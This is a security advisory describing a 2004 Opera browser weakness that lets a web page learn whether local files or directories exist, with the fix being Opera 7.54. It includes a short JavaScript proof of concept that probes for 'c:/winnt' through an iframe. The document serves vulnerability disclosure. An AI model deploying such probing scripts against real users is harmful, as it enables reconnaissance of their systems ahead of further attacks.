Opera Web Browser Resource Detection Weakness

Bugtraq ID:	10961
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	Aug 17 2004 12:00AM
Updated:	Aug 17 2004 12:00AM
Credit:	Discovery is credited to GreyMagic Software.
Vulnerable:	Opera Software Opera Web Browser 7.53 Opera Software Opera Web Browser 7.52
Not Vulnerable:	Opera Software Opera Web Browser 7.54

Opera Web Browser Resource Detection Weakness

Opera Web Browser is prone to a security weakness that may permit an attacker to determine the existence of resources on a vulnerable computer.

An attacker can use an IFRAME that is accessible within the same domain and change its URI to the location of a file or directory. The attacker can then determine the existence of the resource by the error message returned by Opera.

This weakness can then allow the attacker to carry out other attacks against a vulnerable computer.

Opera 7.53 and prior versions running Windows, Unix, and Apple platforms are reported vulnerable to this issue.

Opera Web Browser Resource Detection Weakness

The following proof of concept is available:
<iframe src="blank.html"></iframe>
<script type="text/javascript">
onload=function () {
????var sLocal="c:/winnt";
????frames[0].location.href=sLocal;
????setTimeout(
????????function () {
????????????try {
????????????????frames[0].document;
????????????????alert(sLocal+" does not exists.");
????????????} catch (oErr) {
????????????????alert(sLocal+" exists.");
????????????}
????????},
????????250
????);
}
</script>

Opera Web Browser Resource Detection Weakness

Solution:
It is reported that Opera 7.54 is not vulnerable to this issue.


Opera Software Opera Web Browser 7.52

• Opera Software Opera 7.54
  http://www.opera.com/download/

Opera Software Opera Web Browser 7.53

• Opera Software Opera 7.54
  http://www.opera.com/download/

Opera Web Browser Resource Detection Weakness

References:

• Opera Web Browser Home Page (Opera Software)
  
• Opera Local File/Directory Detection (GM#009-OP) (GreyMagic Software )